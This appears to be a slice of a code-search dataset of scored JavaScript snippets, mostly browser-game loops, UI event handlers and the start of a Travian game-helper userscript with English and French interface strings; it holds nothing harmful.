"docid": "bfbaff84a0384d891c2eab3139432cef", "score": "0.49343875", "text": "function Single_2(currgame) {\n this.tasks = [];\n CreateText(4, 40, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Speed (px/fr)\", currgame);\n CreateText(104, 40, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Spawn Interval (fr)\", currgame);\n CreateText(4, 60, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"3 (Low)\", currgame);\n CreateText(104, 60, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"4 (Low)\", currgame);\n CreateText(4, 100, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"6 (High)\", currgame);\n CreateText(104, 100, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"4 (Low)\", currgame);\n CreateText(4, 80, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"3 (Low)\", currgame);\n CreateText(104, 80, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"8 (High)\", currgame);\n CreateText(4, 120, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"6 (High)\", currgame);\n CreateText(104, 120, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"8 (High)\", currgame);\n\n let text_speed_1 = CreateText(4, 160, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"\" + SPEED_USER_1, currgame);\n let text_rate_1 = CreateText(104, 160, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"\" + RATE_USER_1, currgame);\n let text_speed_2 = CreateText(4, 180, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"\" + SPEED_USER_2, currgame);\n let text_rate_2 = CreateText(104, 180, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"\" + RATE_USER_2, currgame);\n this.update = function () { // Main Loop for a given Danmakanvas Instance\n if (currgame.everyinterval(4)) { \n CreateShotA1(240, 56, 3, 0, \"#FF8888\", 4, 8, 2, 0, currgame);\n CreateShotA1(240, 96, 6, 0, \"#FF8888\", 4, 8, 2, 0, currgame);\n }\n if (currgame.everyinterval(8)) { \n CreateShotA1(240, 76, 3, 0, \"#FF8888\", 4, 8, 2, 0, currgame);\n CreateShotA1(240, 116, 6, 0, \"#FF8888\", 4, 8, 2, 0, currgame);\n }\n if (currgame.everyinterval(RATE_USER_1)) { \n text_speed_1.content = SPEED_USER_1;\n text_rate_1.content = RATE_USER_1;\n CreateShotA1(240, 156, SPEED_USER_1, 0, \"#00FFFF\", 4, 8, 2, 0, currgame);\n }\n if (currgame.everyinterval(RATE_USER_2)) { \n text_speed_2.content = SPEED_USER_2;\n text_rate_2.content = RATE_USER_2;\n CreateShotA1(240, 176, SPEED_USER_2, 0, \"#00FFFF\", 4, 8, 2, 0, currgame);\n }\n // Remove completed tasks\n let tasktoremove = [];\n let i;\n for (i = 0; i < this.tasks.length; i += 1) {\n this.tasks[i].update();\n if (this.tasks[i].finished) {\n tasktoremove.push(i);\n this.tasks[i].remove();\n }\n }\n for (i = tasktoremove.length - 1; i >= 0; i -= 1) {\n this.tasks.splice(tasktoremove[i], 1);\n }\n }\n this.remove = function () {\n this.tasks = [];\n }\n}", "title": "" }, { "docid": "eda9adfc04d582f5ab187c446a949b8f", "score": "0.49336883", "text": "function secciones3L(){ \n this.init_3L = function(){\n inicializar_3L();\n browserResize();\n }\n this.maxCont = function(bol){\n glo_maxCont1 = bol;\n }\n}", "title": "" }, { "docid": "d863a7246a79958ba18e07cc21ccd1f5", "score": "0.4932259", "text": "function timeOperations(){\n gameLoop.Complete(() => {\n // population\n population.wander();\n // seave resources\n mine.mine();\n });\n specialEventLoop.Complete(() => {\n population.activity((lek) => {\n if(!lek.isAlive()){\n population.remove(lek);\n return;\n }\n\n // TODO: redirect lek to resource. Below break the movement\n // let resourceBodies = mine.resources.map(resource => resource.body);\n // let closestResource = lek.findClosestResource(resourceBodies);\n // lek.move(closestResource.x, closestResource.y);\n // lek.grow();\n });\n mine.seave((resource) => {\n resource.extract();\n });\n });\n}", "title": "" }, { "docid": "61930e5c551efd740b767f0ab94efe61", "score": "0.4922599", "text": "function startSetMethods(){\n\tactualizeTimeLabel();\n\tloadPollutantsNames();\n\tloadDateBorders();\n}", "title": "" }, { "docid": "f580522d0b117ade12136c08f922b06c", "score": "0.4921642", "text": "gagner(){\r\n this.personnage.detruire()\r\n clearTimeout(this.timeoutennemiconstucteur);\r\n this.gagnerecran=new createjs.Bitmap(this.chargeur.getResult(\"ecranvictoire\"), true);\r\n this.stage.addChild(this.gagnerecran)\r\n\r\n }", "title": "" }, { "docid": "69de892f4530746ff68119a065f55e7a", "score": "0.49170107", "text": "afficherSlideSuivant() {\n this.arreterLeDiapo();\n this.continuerDiapo();\n }", "title": "" }, { "docid": "9fcf26e6ef958e013a2a51deed5bbccf", "score": "0.49151957", "text": "async function updateDistanceParameters(clone) {\n for (let i = 0; i < tubes.length; i++) {\n if (clone.x < tubes[i].x + tubes[i].width) {\n clone.yDistance = clone.y - ((tubes[i].height) + 65);\n return;\n }\n }\n}", "title": "" }, { "docid": "3240ec269a2b1950a0b415b5468510f8", "score": "0.49133366", "text": "function transitionInit() {\n //pageSys.pageExceptionsAdd(\"articleDetail\");\n //$(\"#selHodnoceni\").width($(\".rating_box .rating_button\").width() + \"px\");\n\n\n // articlesClanky initialize---------------\n $(\".articles .content\").empty();\n\n // set waiter object\n waiter.element = $(\".special.wait\");\n\n // set scroll load function---------------\n var el = document.getElementsByClassName(\"mainContent articles\")[0].getElementsByClassName(\"content\")[0];\n scrollLoadClanky = new scrollLoad(el);\n scrollLoadClanky.scrollBottomFunction = function()\n {\n imgLoadingAdd($(\".articles .container.content\"))\n ajaxClanky(articles.clanky.page+1);\n };\n el = document.getElementsByClassName(\"mainContent index\")[0].getElementsByClassName(\"content\")[0];\n scrollLoadIndex = new scrollLoad(el);\n scrollLoadIndex.scrollBottomFunction = function()\n {\n imgLoadingAdd($(\".index .container.content\"))\n ajaxGetNovinky(articles.novinky.page+1);\n };\n\n // show status bar for ios\n scriptDef.iosStatusBarShow();\n\n}", "title": "" }, { "docid": "0e90365694c006bf0ec424499d69a863", "score": "0.49128443", "text": "function setSubLocationsResponseHandler(nDiv){\n\t\tif(window.MutationObserver){\n\t\t\tvar observerSub = new MutationObserver(function(allMutations){\n\t\t\t\tallMutations.map(function(mr){\n\t\t\t\t\tif(mr.addedNodes && mr.addedNodes.length>0){\n\t\t\t\t\t\tfor (var i = 0; i < mr.addedNodes.length; ++i){\n\t\t\t\t\t\t\tvar node = mr.addedNodes[i];\n\t\t\t\t\t\t\tif (node.nodeName.toUpperCase()==\"TABLE\"){\n\t\t\t\t\t\t\t\tprocessPrimoSublocations($(node));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\t\n\t\t\t});\n\t\t\tobserverSub.observe(nDiv, {\n\t\t\t\t'childList': true,\n\t\t\t\t'subtree': false\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t\telse{\n\t\t\tself.runSubLocationTimer = runSubLocationTimer;\n\t\t\t$(nDiv).closest(\".EXLLocationList\").find('a.EXLLocationsIcon').on('click', function(){\n\t\t\t\trunSubLocationTimer($(nDiv).attr(\"id\"), 0);\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "3bf6d455dbf01da39f2849c821dbafba", "score": "0.49127164", "text": "setCallbacks() {\n const that = this;\n // declare interactive canvas callbacks\n const callbacks = {\n onUpdate(data) {\n try {\n console.log(data);\n // command가 전부 대문자가 되어서 Action.commands에 들어감\n that.commands[data.command.toUpperCase()](data);\n console.log(\"onUpdate : \" + data.command);\n } catch (e) {\n // AoG 입력값을 매칭하지 못했을 경우\n console.log(\"error : \" + e);\n }\n },\n };\n // called by the Interactive Canvas web app once web app has loaded to\n // register callbacks\n this.canvas.ready(callbacks);\n console.log(\"setCallbacks READY\");\n }", "title": "" }, { "docid": "9de3a93a8c06a48efd4878faed635d85", "score": "0.49110854", "text": "updateMobBackend(mob, dt) {\n // Register parent mob\n if (typeof this.parentMob == undefined) {\n this.parentMob = mob;\n }\n // Switch weapon ?\n if (this.shouldSwitchWeapon === true) {\n this.shouldSwitchWeapon = false;\n if (typeof this.anotherWeapon !== \"undefined\") {\n var tmp = this.currentWeapon;\n this.currentWeapon = this.anotherWeapon;\n this.anotherWeapon = tmp;\n }\n this.removeListener(this.anotherWeapon);\n this.addListener(this.currentWeapon);\n // I switched my weapon !!!\n this.updateListeners(this, 'switchWeapon', this, this.currentWeapon);\n }\n // Update all listeners\n this.updateListeners(this, 'onUpdate', this, dt);\n for (let listener of this.listeners.getAll()) {\n if (listener.isOver == true) {\n //this buff is over. delete it from the list.\n // this.buffList.delete(buff);\n this.removeListener(listener);\n }\n else {\n listener.update(this, dt);\n }\n }\n // Mana Regen\n if (typeof this.currentWeapon !== \"undefined\") {\n this.currentMana += dt * this.currentWeapon.manaRegen * 0.001; // change to this.manaRegen plz\n }\n if (this.currentMana > this.maxMana) {\n this.currentMana = this.maxMana;\n }\n // Spell Casting\n if (this.globalCDRemain > 0) {\n this.globalCDRemain -= dt * 0.001;\n }\n else {\n this.globalCDRemain = 0;\n }\n if (this.isMoving == true) {\n // TODO: check if this can cast during moving\n this.inCasting = false;\n this.inChanneling = false;\n this.castRemain = 0;\n this.channelRemain = 0;\n }\n if (this.inCasting == true) {\n if (this.castRemain > 0) {\n this.castRemain -= dt * 0.001;\n }\n else {\n this.inCasting = false;\n this.finishCast(mob, this.currentSpellTarget, this.currentSpell);\n }\n }\n if (this.inChanneling == true) {\n if (this.channelRemain > 0) {\n this.channelRemain -= dt * 0.001;\n this.currentSpell.onChanneling(mob, this.currentSpellTarget, dt * 0.001 * this.channelTimeFactor);\n }\n else {\n this.inChanneling = false;\n }\n }\n // Now we only calc stats when needed to save computational resource, controlled by the event system.\n // calculate Stats\n // TODO: seperate calculation to 2 phase, base and battle stats.\n // this.calcStats(mob);\n // update spells\n for (let spell in this.spells) {\n if (this.spells.hasOwnProperty(spell)) {\n this.spells[spell].update(mob, dt);\n }\n }\n }", "title": "" }, { "docid": "a06789c13901adee66f91a045dd4d959", "score": "0.49074423", "text": "function iniciar_letras(){\n\t// iniciamos el contador a 0,paramos el reloj y volvemos a inciarlo\n\ti=0;\n\tclearInterval(reloj_letras);\n\treloj_letras=setInterval(\"cambiar_letras()\",100);\n}", "title": "" }, { "docid": "c25308080823d2ad2f3c73f961d71e9a", "score": "0.49054828", "text": "function updateDommages(dommages:float) {\n\n\tsourceSon.PlayOneShot(sonBlesse);\n \n pointsVieBoss2 -= dommages;\n if (estVivant) {\n var etoiles: GameObject = Instantiate (Resources.Load (\"Prefabs/EmmeteursPreFabs/etoilesEnnemiTouche\")) as GameObject;\n etoiles.transform.position = this.gameObject.transform.position;\n// Debug.Log(pointsVieBoss2);\n }\n}", "title": "" }, { "docid": "471d1119be23276ac29dc57b432522cf", "score": "0.49035248", "text": "demarer2(){\r\n\r\n\r\n\r\n this.ajoutebackground();\r\n this.ajoutesol();\r\n this.quelleFonctionEcouteur1 = (this.actualisersol.bind(this));\r\n\r\n this.quelleFonctionEcouteur2 = (this.actualiser.bind(this));\r\n\r\n\r\n createjs.Ticker.addEventListener(\"tick\", this.quelleFonctionEcouteur1);\r\n createjs.Ticker.addEventListener(\"tick\", this.quelleFonctionEcouteur2);\r\n\r\n this.ecouteurTouchePesee = this.gererTouchePesee.bind(this);\r\n\r\n\r\n window.addEventListener(\"keydown\", this.ecouteurTouchePesee);\r\n\r\n window.addEventListener(\"keyup\", this.gererToucheRelache.bind(this));\r\n\r\n\r\n this.texteDebut = new createjs.Text('Survivre niveaux 2!', this.parametres.textes.format, \"black\");\r\n this.texteDebut.cache(0, 0, this.texteDebut.getBounds().width, this.texteDebut.getBounds().height);\r\n this.texteDebut.regX = this.texteDebut.getMeasuredWidth() / 2;\r\n this.texteDebut.regY = this.texteDebut.getMeasuredHeight() / 2;\r\n this.texteDebut.x = this.stage.canvas.width / 2 ;\r\n this.texteDebut.y = this.stage.canvas.height / 2 ;\r\n this.texteDebut.scale = 0;\r\n\r\n this.ajouterTimer();\r\n this.stage.addChild(this.texteDebut);\r\n setTimeout(this.animDebut2.bind(this), 1500);\r\n\r\n\r\n }", "title": "" }, { "docid": "2ffb63c9eb0ed32629aaf87bb30caaf8", "score": "0.48998278", "text": "load() {\n //[1] load buttons \n\n $(\".LH2fwd-button\").on(\"click\", () => {\n this.ToggleLH2fwd(true);\n });\n\n $(\".LH2fwd-buttonON\").on(\"click\", () => {\n this.ToggleLH2fwd(false);\n });\n\n $(\".LH2aft-button\").on(\"click\", () => {\n this.ToggleLH2aft(true);\n });\n $(\".LH2aft-buttonON\").on(\"click\", () => {\n this.ToggleLH2aft(false);\n });\n $(\".LOXaft-button\").on(\"click\", () => {\n this.ToggleLOXaft(true);\n });\n $(\".LOXaft-buttonON\").on(\"click\", () => {\n this.ToggleLOXaft(false);\n });\n $(\".LOXfwd-button\").on(\"click\", () => {\n this.ToggleLOXfwd(true);\n });\n $(\".LOXfwd-buttonON\").on(\"click\", () => {\n this.ToggleLOXfwd(false);\n });\n\n //[2] load display \n var fuel_container = $(\".fueltank-container\").width();\n var fuel_tank = $(\".fuel-tanks\").width();\n var offset = centerObject(fuel_tank, fuel_container);\n $(\".fuel-tanks\").css(\"left\", offset + \"px\");\n $(\".fuel-fire\").css(\"width\", fuel_tank + \"px\");\n $(\".fuel-fire\").css(\"left\", offset + \"px\");\n\n }", "title": "" }, { "docid": "26d398248b2e7915399f6ea027da204b", "score": "0.489856", "text": "actualizaSegundos() {\n this.segundero = setInterval(() => {\n this.segundos += 1;\n this.segundosText.setText('SEGUNDOS: ' + this.segundos);\n }, 1000);\n }", "title": "" }, { "docid": "aee4e954c5a7abd5aeba93412014e28e", "score": "0.48952958", "text": "[isDriveChanged]() {\n this.dispatchEvent(new CustomEvent('resize', {\n bubbles: true,\n composed: true\n }));\n if (this.isDrive) {\n this[listDriveFolders]();\n }\n }", "title": "" }, { "docid": "507c54edaa593be182d50ccc65a8d4d1", "score": "0.4893468", "text": "init(){\n let timerLength = Math.round((Math.random() * this.max *this.factor + 1)*1000);\n var mole = this;\n this.timer = setTimeout(function(){ mole.swap(); }, timerLength);\n }", "title": "" }, { "docid": "9f5c249b5a9aa4e94e0a4d0ddea3fae1", "score": "0.48933524", "text": "function initBlocNotreActu(){\n\tTweenMax.to($('#bloc-actus'), 0, {x: \"-100px\"});\n}", "title": "" }, { "docid": "888ce7d1889077de6861b95b63e5d013", "score": "0.4892813", "text": "function elemento_arrastrable(id){\n linga_selec= $(id);\n $(id).draggable({\n snap:true,\n containment:\"parent\",\n cursor:\"pointer\",\n\n addClasses:\"tomar_linga\",\n snapMode: \"both\",\n start:function(event, ui){ // EVENTO AL COMENZAR A MOVER\n $(\".unit\").css(\"box-shadow\",\"0 0 0 #000\");\n linga_selec= $(this);\n if(1){\n dimensiones_linga_seleccionada(linga_selec);\n }\n },\n drag: function(event, ui){ // EVENTO AL MOVER\n posicionY=$(id).position().left;\n posicionX=$(id).position().top;\n // LA LINGA SELECCIONADA SIEMPRE ESTARA POR ENCIMA DEL RESTO CON SOMBRA\n $(\".unit\").css(\"z-index\",\"0\");\n $(this).css(\"z-index\",\"1\");\n $(\".unit\").css(\"box-shadow\",\"0 0 0 #000\");\n $(this).css(\"box-shadow\",\"rgb(0, 0, 0) 2px 1px 5px 1px\");\n },\n\n stop: function(event, ui){ // EVENTO AL DETENER EL MOVIMIENTO\n // LA LINGA EDITA SUS POSICIONES\n var ea=$(id).attr(\"id\");\n var i;\n var lienzoX= $(\".lienzo:visible\").position().top;\n var lienzoY= $(\".lienzo:visible\").position().left;\n for(i=0;i<Linga.length;i++){\n if(ea==Linga[i].id){\n Linga[i].pos_x=posicionX-lienzoX;\n Linga[i].pos_y=posicionY-lienzoY;\n editar_linga_posicion(Linga[i]);\n // console.log(Linga);\n break;\n }\n }\n $(\".dim\").css(\"display\",\"none\");\n }\n });\n}", "title": "" }, { "docid": "07711bdca7a8f724c7eb378ce9529653", "score": "0.4890089", "text": "function limpiarTodoHijos(){\n limpiarPreguntas();\n limpiarPuntaje();\n \n}", "title": "" }, { "docid": "8fe048462889be54471b70cbcb4014af", "score": "0.48889557", "text": "onUpdate(mob, dt) { }", "title": "" }, { "docid": "ad91d2b99c94461098eda4e3f0dcfb6a", "score": "0.4885966", "text": "function Single_1(currgame) {\n this.tasks = [];\n CreateText(4, 40, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Non-Directional (Standard)\", currgame);\n CreateText(4, 60, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Non-Directional (w/ Rotation)\", currgame);\n CreateText(4, 80, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Directional\", currgame);\n CreateText(4, 100, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Directional\", currgame);\n CreateText(4, 120, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Vector\", currgame);\n CreateText(4, 140, \"#FFFFFF\", 12, \"Monospace\", \"start\", \"Vector\", currgame);\n this.update = function () { // Main Loop for a given Danmakanvas Instance\n if (currgame.everyinterval(20)) { \n CreateShotA1(240, 36, 2, 0, \"#FF8888\", 4, 8, 1, 0, currgame);\n let objB = CreateShotA1(240, 56, 2, 0, \"#00FFFF\", 4, 8, 1, 0, currgame);\n SetShotGraphic(objB, \"DIAMOND\", \"#00FFFF\", 4, 8, 8, 1, false, 0.125);\n let objC = CreateShotA1(240, 76, 2, 0, \"#FF00FF\", 4, 8, 1, 0, currgame);\n SetShotGraphic(objC, \"DIAMOND\", \"#FF00FF\", 4, 12, 6, 1, true, 0);\n let objD = CreateShotA1(240, 96, 2, 0, \"#FFFF00\", 4, 8, 1, 0, currgame);\n SetShotGraphic(objD, \"OVAL\", \"#FFFF00\", 4, 12, 8, 1, true, 0);\n let objE = CreateShotA1(240, 116, 2, 0, \"#88FF88\", 4, 8, 1, 0, currgame);\n SetShotGraphic(objE, \"TRIANGLE\", \"#88FF88\", 4, 12, 10, 1, true, 0);\n let objF = CreateShotA1(240, 136, 2, 0, \"#8888FF\", 4, 8, 1, 0, currgame);\n SetShotGraphic(objF, \"ARROWHEAD\", \"#AAAAFF\", 4, 12, 8, 1, true, 0);\n }\n // Remove completed tasks\n let tasktoremove = [];\n let i;\n for (i = 0; i < this.tasks.length; i += 1) {\n this.tasks[i].update();\n if (this.tasks[i].finished) {\n tasktoremove.push(i);\n this.tasks[i].remove();\n }\n }\n for (i = tasktoremove.length - 1; i >= 0; i -= 1) {\n this.tasks.splice(tasktoremove[i], 1);\n }\n }\n this.remove = function () {\n this.tasks = [];\n }\n}", "title": "" }, { "docid": "3c4e2eb386a90fdfef15eec60205508a", "score": "0.48859653", "text": "function mainInit(){\n setInitialStates();\n $(\".container\").show();\n addListeners();\n seq01();\n\n}", "title": "" }, { "docid": "7a98277ec9df34c4b9cf8a118073248e", "score": "0.4884527", "text": "function funcionPrincipal(e){\n\n\t// données new\n\tvar tiempo_ejecucion = new Date().getTime();\n\tvar getDocDirection;\n\tvar lonelyTownNEWDID;\n\tvar plustimers = new Object();\n\tvar minustimers = new Object();\n\tvar pageloadtime = new Date();\n\t// autres données\n\tvar in_reload=0;\n\tvar server = location.hostname;\t// Langue\n\t// NPC Helper's globals\n\tvar npc_url = '/build.php?gid=17&t=3';\n\tvar url = window.location.pathname + window.location.search;\n\tvar npc_res_param = 'gpnpc';\n\tvar npc_name_param = 'gpbn';\n\t// TQR\n\tvar URLX = { BERICHTE: 'BERICHTE', NACHRICHTEN: 'NACHRICHTEN', ALLIANZ: 'ALLIANZ', KARTE: 'KARTE' };\n\tvar XPTbgTab = \".//table[contains(@class, 'tbg')]\";\n\n\ttry\n\t{\n\t\tvar ext = get('lplus1').src.match(/.*img\\/(\\w+)\\/a\\//)[1];\n\t}\n\tcatch(e)\n\t{\n\t\tvar ext = server.substring(server.lastIndexOf('.')+1);\n\t\tif (ext == 'com') {\n\t\t\tvar ext1 = server.substr(0,2);\n\t\t\tif (ext1 == 'rs') ext = ext1;\n\n\t\t\t// serbian servers: rs1.travian.com, rs2.travian.com, rs3.travian.com\n\t\t}\n\t}\n\n\tvar textDirection = document.defaultView.getComputedStyle(document.body, null).getPropertyValue('direction');\t// for right to left servers\n\t\n\t//anglais par défaut\nvar aLang = {\n'ALIANZA': 'Alliance',\n'SIM': 'Combat simulator',\n'SEGURO': 'Are you sure?',\n'MARK': 'Select all',\n'PERDIDAS': 'Equivalent of losses',\n'RENT': 'Profit',\n'SUBIR_NIVEL': 'Extension available',\n'ALDEA': 'Village Name',\n'ATACAR': 'Attack',\n'COMERCIAR': 'Send resources',\n'GUARDADO': 'Saved',\n'DESP_ABR': 'Mov.',\n'FALTA': 'You need',\n'HOY': 'today',\n'MANYANA': 'tomorrow',\n'PAS_MANYANA': 'day after tomorrow',\n'MERCADO': 'Marketplace',\n'CUARTEL': 'Barracks',\n'PUNTO': 'Rally point',\n'CORRAL': 'Stable',\n'TALLER': 'Workshop',\n'ENVIAR': 'Send resources',\n'COMPRAR': 'Buy',\n'VENDER': 'Sell',\n'ENVIAR_IGM': 'Send IGM',\n'LISTO': 'Ready',\n'EL': 'on',\n'A_LAS': 'at',\n'EFICIENCIA': 'Efficiency',\n'NUNCA': 'Never',\n'PC': 'culture points',\n'FUNDAR': 'You can found or conquer a new village',\n'TIEMPO': 'Time',\n'STAT': 'Statistic',\n'OFREZCO': 'Offering',\n'BUSCO': 'Searching',\n'TIPO': 'Type',\n'CUALQUIERA': 'Any',\n'DISPONIBLE': 'Only available',\n'SI': 'Yes',\n'NO': 'No',\n'MARCADORES': 'Bookmarks',\n'ANYADIR': 'Add',\n'ENLACE': 'New Bookmark URL',\n'TEXTO': 'New Bookmark Text',\n'ARCHIVE': 'Archive',\n'ELIMINAR': 'Remove',\n'ACTUALIZAR': 'refresh',\n'REFRESH_INFORMARION': 'refresh Info',\n'RESUMEN': 'Summary',\n'RECURSO1': 'Wood',\n'RECURSO2': 'Clay',\n'RECURSO3': 'Iron',\n'RECURSO4': 'Crop',\n'ALDEA_EXTRA1': 'Send units',\n'ALDEA_EXTRA2': 'Send resources',\n'ALDEA_EXTRA3': 'Centering on map',\n'ALDEA_EXTRA4': 'View Global on village',\n'ALDEA_EXTRA5': 'Centering on village',\n'ALDEA_EXTRA6': 'Info TSU',\n'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n'ALDEA_EXTRA7': 'Info Travian-search',\n'ALDEA_EXTRA8': 'Location on Travmap',\n'ADD_ALL': 'For all ',\n'DEMO': 'Main Building',\n'FRIGO': 'Frigo',\n'TOOLS': 'Distances and Time',\n'TAB1': 'For location on Travmap (red), your Separate multiple alliances with a comma.(ex: A,B,C)',\n'TAB2': 'Edit its Bookmarks',\n'TAB3': 'Notepad',\n'TAB4': 'Price Sales Market',\n'TAB5': 'Show Info table means',\n'TAB6': 'Show Info table buildings',\n'TAB7': 'Show meter deposit',\n'TAB8': 'Show Bookmarks build.admin',\n'TAB9': 'Show Bookmarks build.military',\n'TAB10': 'Show Bookmarks build.for improvement',\n'TAB11': 'Show Bookmarks Custom',\n'TAB12': 'Show Bookmarks',\n'TAB13': 'Show Info TSU',\n'TAB13B': 'Show Info Travian World Analyzer',\n'TAB14': 'Show Info Travian-search',\n'TAB15': 'Show N° on building',\n'TAB16': 'Show the content of messages',\n'TAB17': 'Show notepad of messages',\n'TAB18': 'Show Info Travmap',\n'TAB19': 'Show Bookmarks build. Town Hall',\n'TAB20': 'Simplifying the list of links to the left',\n'TAB21': 'Simplifying the summary of villages',\n'TAB22': 'Reposition the summary of villages',\n'TAB23': 'Change Attack: Raid / Normal',\n'TAB24': 'Reposition of meter deposit',\n'TAB25': 'Show total numbers of troops in village (Rallypoint)',\n'TAB26': 'Display overview village table',\n'TAB27': 'Image server private : [ ]<br>Image server travian : [x]',\n'TAB28': 'Insert capital ID (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n'TAB29': 'Show extended icons',\n'TAB30': 'Show Battle Analyse',\n'TAB31': 'Show BBcode Help',\n'TAB32': 'Show N° on means',\n'TAB33': 'Show NPC Helper',\n'TAB34': 'Show Quick Report',\n'TAB35': 'Speed of your unit for popups (ex for the senator: 4)',\n'CLEAN': ' Clean',\n'PAL': 'Palace',\n'RESI': 'Residence',\n'MAN': 'Hero s Mansion',\n'USI': 'Armoury',\n'ARM': 'Blacksmith',\n'HOT': 'Town Hall',\n'IGMTITLE': 'Topic',\n'IGMSENTER': 'sender',\n'IGMDATE': 'date',\n'IGMTIME': 'time',\n'IGMOUTPUT': 'Show the contents of the letters',\n'MAXTIME': 'Max time',\n'LOGIN': 'Login',\n'TT': 'Total view',\n'RESS': 'Means',\n'DEP': 'Warehouse',\n'PC': 'CP',\n'TROP': 'Troops',\n'MINI': 'Mini',\n'ATT': 'Attacks',\n'CONS': 'Building',\n'FT': 'Party',\n'FT1': 'small party',\n'FT2': 'big party',\n'EXT': 'Extension',\n'IN': 'in',\n'JUGADOR': 'Player',\n'HAB': 'Population',\n'COORD': 'Coords',\n'ACCION': 'Actions',\n'MAPSCAN': 'Scan Map',\n'AID': 'Help',\n'VITS': 'Speed',\n'CAPA': 'Capacity',\n'DIST': 'Distance',\n'MP': 'To Bookmarks ',\n'UPDATE_CHECK': 'Verify Version',\n'LAST_VERSION': 'You are using the latest version',\n'NEW_VERSION': 'There is a new vesrion available',\n'UPDATE_NOW': 'Update now',\n'R1': 'Legionnaire', // Romans\n'R2': 'Praetorian',\n'R3': 'Imperian',\n'R4': 'Equites Legati',\n'R5': 'Equites Imperatoris',\n'R6': 'Equites Caesaris',\n'R7': 'Battering Ram',\n'R8': 'Fire Catapult',\n'R9': 'Senator',\n'R10': 'Settler',\n'T1': 'Clubswinger', // Teutons\n'T2': 'Spearman',\n'T3': 'Axeman',\n'T4': 'Scout',\n'T5': 'Paladin',\n'T6': 'Teutonic Knight',\n'T7': 'Ram',\n'T8': 'Catapult',\n'T9': 'Chief',\n'T10': 'Settler',\n'G1': 'Phalanx', // Gauls\n'G2': 'Swordsman',\n'G3': 'Pathfinder',\n'G4': 'Theutates Thunder',\n'G5': 'Druidrider',\n'G6': 'Haeduan',\n'G7': 'Ram',\n'G8': 'Trebuchet',\n'G9': 'Chieftain',\n'G10': 'Settler',\n'N1': 'Rat', // Nature\n'N2': 'Spider',\n'N3': 'Serpent',\n'N4': 'Bat',\n'N5': 'Wild boar',\n'N6': 'Wolf',\n'N7': 'Bear',\n'N8': 'Crocodile',\n'N9': 'Tiger',\n'N10': 'Elephant',\n'LVL': 'level',\t\t\t// Very important\n'MARC': 'Merchants',\t\t// Very important\n'TOTAL': 'Total',\n'WASTED_SPACE': 'Wasted Space',\n'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n'SAVEREPORT': 'save report',\n'ANONYMIZE': 'anonyme',\n'LBA0': 'Total size of attack',\n'LBA2': 'Total size of protection against infantry',\n'LBA3': 'Total size of protection against a cavalry',\n'LBA4': 'The general statistics',\n'LBA5': 'Difference of losses',\n'LBA6': 'Consumption',\n'LBA7': 'Exp of heroes',\n'LBA9': 'Equivalent lost in grain',\n'LBA10': 'Nominal consumption of grain by army',\n'LBA11': 'The hero was not',\n'LBA12': 'Hero',\n'LBA13': 'Quantity of the carried away raw material',\n'LBA14': 'The maximal capacity survived',\n'LBA15': 'Attacking',\n'LBA16': 'Defending',\n'LBA17': 'Copy and go to Combat simulator',\n'LBA18': 'Paste',\n'BBC': 'Useable BBcodes',\n'BBC_B': 'Bold: [b]Text[/b]',\n'BBC_I': 'Italic: [i]Text[/i]',\n'BBC_U': 'Underscore: [u]Text[/u]',\n'BBC_C': 'Center: [c]Text[/c]',\n'BBC_COLOR': 'Colors: [color=blue]Text[/color] Tipp: You can use these too: color=#0000FF and #00F',\n'BBC_URL': 'Link: [url]http://url[/url] or [url=http://url]Link text[/url]',\n'BBC_IMG': 'Image: [img]URL[/img]',\n'BBC_LEFT': 'Align left: [<]Text[/<]',\n'BBC_RIGHT': 'Align right: [>]Text[/>]',\n'BBC_BLINK': 'Blink: [blink]Text[/blink]',\n'THS0': 'Current XP:',\n'THS1': 'Next Level:',\n'THS2': 'Needed:'\n};\n// Giving hand of identations to decrease file-size...\n// TODO: FINISH JSONIZING aLangs ... - A_r_e_s\nswitch(ext)\n{\ncase \"fr\": // Francais par Mik french\nvar newLang = {\n\t'ALIANZA': 'Alliance',\n\t'SIM': 'Simulateur',\n\t'SEGURO': 'Es-tu sur?',\n\t'MARK': 'Marquer tous',\n\t'PERDIDAS': 'Pertes en matériels',\n\t'RENT': 'Rentabilité',\n\t'SUBIR_NIVEL': 'Tu peux deja augmenter son niveau',\n\t'ALDEA': 'Village',\n\t'ATACAR': 'Attaquer',\n\t'COMERCIAR': 'Commercer',\n\t'GUARDADO': 'Sauvegarde',\n\t'DESP_ABR': 'Déplacer',\n\t'FALTA': 'Il manque',\n\t'HOY': 'aujourd\\'hui',\n\t'MANYANA': 'demain',\n\t'PAS_MANYANA': 'apres-demain',\n\t'MERCADO': 'Place du marché',\n\t'CUARTEL': 'Caserne',\n\t'PUNTO': 'Place de rassemblement',\n\t'CORRAL': 'Ecurie',\n\t'TALLER': 'Atelier',\n\t'ENVIAR': 'Envoyer des ressources',\n\t'COMPRAR': 'Acheter des ressources',\n\t'VENDER': 'Vendre des resources',\n\t'ENVIAR_IGM': 'Envoyer MSG',\n\t'LISTO': 'Pret',\n\t'EL': 'le',\n\t'A_LAS': 'a',\n\t'EFICIENCIA': 'Efficacité',\n\t'NUNCA': 'Jamais',\n\t'PC': 'point(s) de culture',\n\t'FUNDAR': 'Tu peux 